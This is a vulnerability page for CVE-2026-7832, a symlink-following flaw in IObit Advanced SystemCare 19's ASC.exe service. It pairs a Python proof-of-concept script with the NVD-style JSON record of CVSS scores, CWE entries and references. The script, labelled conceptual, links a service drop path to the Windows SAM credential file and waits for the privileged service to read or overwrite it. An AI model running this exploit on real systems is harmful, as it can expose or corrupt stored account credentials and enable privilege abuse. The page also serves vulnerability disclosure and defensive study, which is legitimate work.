CVE-2026-7832

# PoC for CVE-2026-7832 (Symbolic Link Following) # This is a conceptual demonstration. import os import sys import ctypes import time # Check for admin privileges (often required for symlink creation on Windows without Developer Mode) def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False if not is_admin(): print("[!] This script requires administrator privileges to create symlinks on standard Windows configurations.") sys.exit(1) # Configuration TARGET_FILE = r"C:\Windows\System32\config\SAM" # Example target sensitive file SERVICE_DROP_PATH = r"C:\ProgramData\IObit\Advanced SystemCare\temp\config.db" # Hypothetical path used by ASC.exe print(f"[*] Attempting to create symbolic link from {SERVICE_DROP_PATH} to {TARGET_FILE}") try: # Ensure the directory exists for the link os.makedirs(os.path.dirname(SERVICE_DROP_PATH), exist_ok=True) # Create the symbolic link os.symlink(TARGET_FILE, SERVICE_DROP_PATH) print("[+] Symbolic link created successfully.") print("[*] Waiting for the service (ASC.exe) to trigger the operation...") print("[*] If successful, the service may overwrite or read the SAM file.") # In a real scenario, the attacker would monitor or wait for a specific trigger. while True: time.sleep(1) except Exception as e: print(f"[-] Error creating symlink: {e}")

{"cve": {"id": "CVE-2026-7832", "sourceIdentifier": "[email protected]", "published": "2026-05-05T13:16:31.223", "lastModified": "2026-05-05T19:09:32.000", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in IObit Advanced SystemCare 19. This affects an unknown part of the file ASC.exe of the component Service. The manipulation results in symlink following. Attacking locally is a requirement. This attack is characterized by high complexity. It is indicated that the exploitability is difficult. The exploit has been released to the public and may be used for attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:H/Au:S/C:C/I:C/A:C", "baseScore": 6.0, "accessVector": "LOCAL", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 1.5, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}, {"lang": "en", "value": "CWE-61"}]}], "references": [{"url": "https://github.com/usernameone101/Writeups/blob/main/IObit%20Zero%20Day%20(Updated%20v2).pdf", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/797630", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/361111", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/361111/cti", "source": "[email protected]"}]}}